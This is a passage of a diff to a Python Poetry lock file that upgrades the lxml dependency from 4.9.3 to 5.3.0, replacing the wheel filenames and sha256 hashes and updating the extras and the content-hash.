"lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9719fe17307a9e814580af1f5c6e05ca593b12fb7e44fe62450a5384dbf61b4b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3331bece23c9ee066e0fb3f96c61322b9e0f54d775fccefff4c38ca488de283a"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-macosx_11_0_x86_64.whl", hash = "sha256:ed667f49b11360951e201453fc3967344d0d0263aa415e1619e85ae7fd17b4e0"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8b77946fd508cbf0fccd8e400a7f71d4ac0e1595812e66025bac475a8e811694"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:e4da8ca0c0c0aea88fd46be8e44bd49716772358d648cce45fe387f7b92374a7"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fe4bda6bd4340caa6e5cf95e73f8fea5c4bfc55763dd42f1b50a94c1b4a2fbd4"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:f3df3db1d336b9356dd3112eae5f5c2b8b377f3bc826848567f10bfddfee77e9"}, - {file = "lxml-4.9.3.tar.gz", hash = "sha256:48628bd53a426c9eb9bc066a923acaa0878d1e86129fd5359aee99285f4eed9c"}, +python-versions = ">=3.6" +files = [ + {file = "lxml-5.3.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:dd36439be765e2dde7660212b5275641edbc813e7b24668831a5c8ac91180656"}, + {file = "lxml-5.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ae5fe5c4b525aa82b8076c1a59d642c17b6e8739ecf852522c6321852178119d"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:501d0d7e26b4d261fca8132854d845e4988097611ba2531408ec91cf3fd9d20a"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb66442c2546446944437df74379e9cf9e9db353e61301d1a0e26482f43f0dd8"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9e41506fec7a7f9405b14aa2d5c8abbb4dbbd09d88f9496958b6d00cb4d45330"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f7d4a670107d75dfe5ad080bed6c341d18c4442f9378c9f58e5851e86eb79965"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:41ce1f1e2c7755abfc7e759dc34d7d05fd221723ff822947132dc934d122fe22"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:44264ecae91b30e5633013fb66f6ddd05c006d3e0e884f75ce0b4755b3e3847b"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:3c174dc350d3ec52deb77f2faf05c439331d6ed5e702fc247ccb4e6b62d884b7"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:2dfab5fa6a28a0b60a20638dc48e6343c02ea9933e3279ccb132f555a62323d8"}, + {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:b1c8c20847b9f34e98080da785bb2336ea982e7f913eed5809e5a3c872900f32"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2c86bf781b12ba417f64f3422cfc302523ac9cd1d8ae8c0f92a1c66e56ef2e86"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:c162b216070f280fa7da844531169be0baf9ccb17263cf5a8bf876fcd3117fa5"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:36aef61a1678cb778097b4a6eeae96a69875d51d1e8f4d4b491ab3cfb54b5a03"}, + {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f65e5120863c2b266dbcc927b306c5b78e502c71edf3295dfcb9501ec96e5fc7"}, + {file = "lxml-5.3.0-cp310-cp310-win32.whl", hash = "sha256:ef0c1fe22171dd7c7c27147f2e9c3e86f8bdf473fed75f16b0c2e84a5030ce80"}, + {file = "lxml-5.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:052d99051e77a4f3e8482c65014cf6372e61b0a6f4fe9edb98503bb5364cfee3"}, + {file = "lxml-5.3.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:74bcb423462233bc5d6066e4e98b0264e7c1bed7541fff2f4e34fe6b21563c8b"}, + {file = "lxml-5.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a3d819eb6f9b8677f57f9664265d0a10dd6551d227afb4af2b9cd7bdc2ccbf18"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5b8f5db71b28b8c404956ddf79575ea77aa8b1538e8b2ef9ec877945b3f46442"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2c3406b63232fc7e9b8783ab0b765d7c59e7c59ff96759d8ef9632fca27c7ee4"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2ecdd78ab768f844c7a1d4a03595038c166b609f6395e25af9b0f3f26ae1230f"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:168f2dfcfdedf611eb285efac1516c8454c8c99caf271dccda8943576b67552e"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa617107a410245b8660028a7483b68e7914304a6d4882b5ff3d2d3eb5948d8c"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:69959bd3167b993e6e710b99051265654133a98f20cec1d9b493b931942e9c16"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:bd96517ef76c8654446fc3db9242d019a1bb5fe8b751ba414765d59f99210b79"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:ab6dd83b970dc97c2d10bc71aa925b84788c7c05de30241b9e96f9b6d9ea3080"}, + {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:eec1bb8cdbba2925bedc887bc0609a80e599c75b12d87ae42ac23fd199445654"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6a7095eeec6f89111d03dabfe5883a1fd54da319c94e0fb104ee8f23616b572d"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:6f651ebd0b21ec65dfca93aa629610a0dbc13dbc13554f19b0113da2e61a4763"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f422a209d2455c56849442ae42f25dbaaba1c6c3f501d58761c619c7836642ec"}, + {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:62f7fdb0d1ed2065451f086519865b4c90aa19aed51081979ecd05a21eb4d1be"}, + {file = "lxml-5.3.0-cp311-cp311-win32.whl", hash = "sha256:c6379f35350b655fd817cd0d6cbeef7f265f3ae5fedb1caae2eb442bbeae9ab9"}, + {file = "lxml-5.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:9c52100e2c2dbb0649b90467935c4b0de5528833c76a35ea1a2691ec9f1ee7a1"}, + {file = "lxml-5.3.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:e99f5507401436fdcc85036a2e7dc2e28d962550afe1cbfc07c40e454256a859"}, + {file = "lxml-5.3.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:384aacddf2e5813a36495233b64cb96b1949da72bef933918ba5c84e06af8f0e"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:874a216bf6afaf97c263b56371434e47e2c652d215788396f60477540298218f"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65ab5685d56914b9a2a34d67dd5488b83213d680b0c5d10b47f81da5a16b0b0e"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:aac0bbd3e8dd2d9c45ceb82249e8bdd3ac99131a32b4d35c8af3cc9db1657179"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b369d3db3c22ed14c75ccd5af429086f166a19627e84a8fdade3f8f31426e52a"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c24037349665434f375645fa9d1f5304800cec574d0310f618490c871fd902b3"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:62d172f358f33a26d6b41b28c170c63886742f5b6772a42b59b4f0fa10526cb1"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:c1f794c02903c2824fccce5b20c339a1a14b114e83b306ff11b597c5f71a1c8d"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:5d6a6972b93c426ace71e0be9a6f4b2cfae9b1baed2eed2006076a746692288c"}, + {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:3879cc6ce938ff4eb4900d901ed63555c778731a96365e53fadb36437a131a99"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:74068c601baff6ff021c70f0935b0c7bc528baa8ea210c202e03757c68c5a4ff"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:ecd4ad8453ac17bc7ba3868371bffb46f628161ad0eefbd0a855d2c8c32dd81a"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7e2f58095acc211eb9d8b5771bf04df9ff37d6b87618d1cbf85f92399c98dae8"}, + {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e63601ad5cd8f860aa99d109889b5ac34de571c7ee902d6812d5d9ddcc77fa7d"}, + {file = "lxml-5.3.0-cp312-cp312-win32.whl", hash = "sha256:17e8d968d04a37c50ad9c456a286b525d78c4a1c15dd53aa46c1d8e06bf6fa30"}, + {file = "lxml-5.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:c1a69e58a6bb2de65902051d57fde951febad631a20a64572677a1052690482f"}, + {file = "lxml-5.3.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8c72e9563347c7395910de6a3100a4840a75a6f60e05af5e58566868d5eb2d6a"}, + {file = "lxml-5.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e92ce66cd919d18d14b3856906a61d3f6b6a8500e0794142338da644260595cd"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d04f064bebdfef9240478f7a779e8c5dc32b8b7b0b2fc6a62e39b928d428e51"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c2fb570d7823c2bbaf8b419ba6e5662137f8166e364a8b2b91051a1fb40ab8b"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0c120f43553ec759f8de1fee2f4794452b0946773299d44c36bfe18e83caf002"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:562e7494778a69086f0312ec9689f6b6ac1c6b65670ed7d0267e49f57ffa08c4"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:423b121f7e6fa514ba0c7918e56955a1d4470ed35faa03e3d9f0e3baa4c7e492"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:c00f323cc00576df6165cc9d21a4c21285fa6b9989c5c39830c3903dc4303ef3"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:1fdc9fae8dd4c763e8a31e7630afef517eab9f5d5d31a278df087f307bf601f4"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:658f2aa69d31e09699705949b5fc4719cbecbd4a97f9656a232e7d6c7be1a367"}, + {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1473427aff3d66a3fa2199004c3e601e6c4500ab86696edffdbc84954c72d832"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a87de7dd873bf9a792bf1e58b1c3887b9264036629a5bf2d2e6579fe8e73edff"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0d7b36afa46c97875303a94e8f3ad932bf78bace9e18e603f2085b652422edcd"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:cf120cce539453ae086eacc0130a324e7026113510efa83ab42ef3fcfccac7fb"}, + {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:df5c7333167b9674aa8ae1d4008fa4bc17a313cc490b2cca27838bbdcc6bb15b"}, + {file = "lxml-5.3.0-cp313-cp313-win32.whl", hash = "sha256:c802e1c2ed9f0c06a65bc4ed0189d000ada8049312cfeab6ca635e39c9608957"}, + {file = "lxml-5.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:406246b96d552e0503e17a1006fd27edac678b3fcc9f1be71a2f94b4ff61528d"}, + {file = "lxml-5.3.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:8f0de2d390af441fe8b2c12626d103540b5d850d585b18fcada58d972b74a74e"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1afe0a8c353746e610bd9031a630a95bcfb1a720684c3f2b36c4710a0a96528f"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:56b9861a71575f5795bde89256e7467ece3d339c9b43141dbdd54544566b3b94"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:9fb81d2824dff4f2e297a276297e9031f46d2682cafc484f49de182aa5e5df99"}, + {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:2c226a06ecb8cdef28845ae976da407917542c5e6e75dcac7cc33eb04aaeb237"}, + {file = "lxml-5.3.0-cp36-cp36m-musllinux_1_2_x86_64.whl", hash = "sha256:7d3d1ca42870cdb6d0d29939630dbe48fa511c203724820fc0fd507b2fb46577"}, + {file = "lxml-5.3.0-cp36-cp36m-win32.whl", hash = "sha256:094cb601ba9f55296774c2d57ad68730daa0b13dc260e1f941b4d13678239e70"}, + {file = "lxml-5.3.0-cp36-cp36m-win_amd64.whl", hash = "sha256:eafa2c8658f4e560b098fe9fc54539f86528651f61849b22111a9b107d18910c"}, + {file = "lxml-5.3.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:cb83f8a875b3d9b458cada4f880fa498646874ba4011dc974e071a0a84a1b033"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:25f1b69d41656b05885aa185f5fdf822cb01a586d1b32739633679699f220391"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23e0553b8055600b3bf4a00b255ec5c92e1e4aebf8c2c09334f8368e8bd174d6"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ada35dd21dc6c039259596b358caab6b13f4db4d4a7f8665764d616daf9cc1d"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:81b4e48da4c69313192d8c8d4311e5d818b8be1afe68ee20f6385d0e96fc9512"}, + {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:2bc9fd5ca4729af796f9f59cd8ff160fe06a474da40aca03fcc79655ddee1a8b"}, + {file = "lxml-5.3.0-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:07da23d7ee08577760f0a71d67a861019103e4812c87e2fab26b039054594cc5"}, + {file = "lxml-5.3.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:ea2e2f6f801696ad7de8aec061044d6c8c0dd4037608c7cab38a9a4d316bfb11"}, + {file = "lxml-5.3.0-cp37-cp37m-win32.whl", hash = "sha256:5c54afdcbb0182d06836cc3d1be921e540be3ebdf8b8a51ee3ef987537455f84"}, + {file = "lxml-5.3.0-cp37-cp37m-win_amd64.whl", hash = "sha256:f2901429da1e645ce548bf9171784c0f74f0718c3f6150ce166be39e4dd66c3e"}, + {file = "lxml-5.3.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:c56a1d43b2f9ee4786e4658c7903f05da35b923fb53c11025712562d5cc02753"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ee8c39582d2652dcd516d1b879451500f8db3fe3607ce45d7c5957ab2596040"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdf3a3059611f7585a78ee10399a15566356116a4288380921a4b598d807a22"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:146173654d79eb1fc97498b4280c1d3e1e5d58c398fa530905c9ea50ea849b22"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:0a7056921edbdd7560746f4221dca89bb7a3fe457d3d74267995253f46343f15"}, + {file = "lxml-5.3.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:9e4b47ac0f5e749cfc618efdf4726269441014ae1d5583e047b452a32e221920"}, + {file = "lxml-5.3.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:f914c03e6a31deb632e2daa881fe198461f4d06e57ac3d0e05bbcab8eae01945"}, + {file = "lxml-5.3.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:213261f168c5e1d9b7535a67e68b1f59f92398dd17a56d934550837143f79c42"}, + {file = "lxml-5.3.0-cp38-cp38-win32.whl", hash = "sha256:218c1b2e17a710e363855594230f44060e2025b05c80d1f0661258142b2add2e"}, + {file = "lxml-5.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:315f9542011b2c4e1d280e4a20ddcca1761993dda3afc7a73b01235f8641e903"}, + {file = "lxml-5.3.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1ffc23010330c2ab67fac02781df60998ca8fe759e8efde6f8b756a20599c5de"}, + {file = "lxml-5.3.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2b3778cb38212f52fac9fe913017deea2fdf4eb1a4f8e4cfc6b009a13a6d3fcc"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4b0c7a688944891086ba192e21c5229dea54382f4836a209ff8d0a660fac06be"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:747a3d3e98e24597981ca0be0fd922aebd471fa99d0043a3842d00cdcad7ad6a"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:86a6b24b19eaebc448dc56b87c4865527855145d851f9fc3891673ff97950540"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b11a5d918a6216e521c715b02749240fb07ae5a1fefd4b7bf12f833bc8b4fe70"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68b87753c784d6acb8a25b05cb526c3406913c9d988d51f80adecc2b0775d6aa"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:109fa6fede314cc50eed29e6e56c540075e63d922455346f11e4d7a036d2b8cf"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_ppc64le.whl", hash = "sha256:02ced472497b8362c8e902ade23e3300479f4f43e45f4105c85ef43b8db85229"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_s390x.whl", hash = "sha256:6b038cc86b285e4f9fea2ba5ee76e89f21ed1ea898e287dc277a25884f3a7dfe"}, + {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:7437237c6a66b7ca341e868cda48be24b8701862757426852c9b3186de1da8a2"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7f41026c1d64043a36fda21d64c5026762d53a77043e73e94b71f0521939cc71"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:482c2f67761868f0108b1743098640fbb2a28a8e15bf3f47ada9fa59d9fe08c3"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:1483fd3358963cc5c1c9b122c80606a3a79ee0875bcac0204149fa09d6ff2727"}, + {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2dec2d1130a9cda5b904696cec33b2cfb451304ba9081eeda7f90f724097300a"}, + {file = "lxml-5.3.0-cp39-cp39-win32.whl", hash = "sha256:a0eabd0a81625049c5df745209dc7fcef6e2aea7793e5f003ba363610aa0a3ff"}, + {file = "lxml-5.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:89e043f1d9d341c52bf2af6d02e6adde62e0a46e6755d5eb60dc6e4f0b8aeca2"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7b1cd427cb0d5f7393c31b7496419da594fe600e6fdc4b105a54f82405e6626c"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:51806cfe0279e06ed8500ce19479d757db42a30fd509940b1701be9c86a5ff9a"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ee70d08fd60c9565ba8190f41a46a54096afa0eeb8f76bd66f2c25d3b1b83005"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:8dc2c0395bea8254d8daebc76dcf8eb3a95ec2a46fa6fae5eaccee366bfe02ce"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:6ba0d3dcac281aad8a0e5b14c7ed6f9fa89c8612b47939fc94f80b16e2e9bc83"}, + {file = "lxml-5.3.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:6e91cf736959057f7aac7adfc83481e03615a8e8dd5758aa1d95ea69e8931dba"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:94d6c3782907b5e40e21cadf94b13b0842ac421192f26b84c45f13f3c9d5dc27"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c300306673aa0f3ed5ed9372b21867690a17dba38c68c44b287437c362ce486b"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:78d9b952e07aed35fe2e1a7ad26e929595412db48535921c5013edc8aa4a35ce"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:01220dca0d066d1349bd6a1726856a78f7929f3878f7e2ee83c296c69495309e"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:2d9b8d9177afaef80c53c0a9e30fa252ff3036fb1c6494d427c066a4ce6a282f"}, + {file = "lxml-5.3.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:20094fc3f21ea0a8669dc4c61ed7fa8263bd37d97d93b90f28fc613371e7a875"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ace2c2326a319a0bb8a8b0e5b570c764962e95818de9f259ce814ee666603f19"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:92e67a0be1639c251d21e35fe74df6bcc40cba445c2cda7c4a967656733249e2"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd5350b55f9fecddc51385463a4f67a5da829bc741e38cf689f38ec9023f54ab"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:4c1fefd7e3d00921c44dc9ca80a775af49698bbfd92ea84498e56acffd4c5469"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:71a8dd38fbd2f2319136d4ae855a7078c69c9a38ae06e0c17c73fd70fc6caad8"}, + {file = "lxml-5.3.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:97acf1e1fd66ab53dacd2c35b319d7e548380c2e9e8c54525c6e76d21b1ae3b1"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:68934b242c51eb02907c5b81d138cb977b2129a0a75a8f8b60b01cb8586c7b21"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b710bc2b8292966b23a6a0121f7a6c51d45d2347edcc75f016ac123b8054d3f2"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18feb4b93302091b1541221196a2155aa296c363fd233814fa11e181adebc52f"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:3eb44520c4724c2e1a57c0af33a379eee41792595023f367ba3952a2d96c2aab"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:609251a0ca4770e5a8768ff902aa02bf636339c5a93f9349b48eb1f606f7f3e9"}, + {file = "lxml-5.3.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:516f491c834eb320d6c843156440fe7fc0d50b33e44387fcec5b02f0bc118a4c"}, + {file = "lxml-5.3.0.tar.gz", hash = "sha256:4e109ca30d1edec1ac60cdbe341905dc3b8f55b16855e03a54aaf59e51ec8c6f"}, ] [package.extras] cssselect = ["cssselect (>=0.7)"] +html-clean = ["lxml-html-clean"] html5 = ["html5lib"] htmlsoup = ["BeautifulSoup4"] -source = ["Cython (>=0.29.35)"] +source = ["Cython (>=3.0.11)"] [[package]] name = "markdown-it-py" @@ -2447,4 +2494,4 @@ files = [ [metadata] lock-version = "2.0" python-versions = "^3.10.0" -content-hash = "65140872bd2a7ae06b4bf273c575159ba49cd04a60acd5bf77794d852d65e1c1" +content-hash = "b102ff826faf73e87da291e242fcdb95294a641c8d8ab8590d9b47f73d6375b6"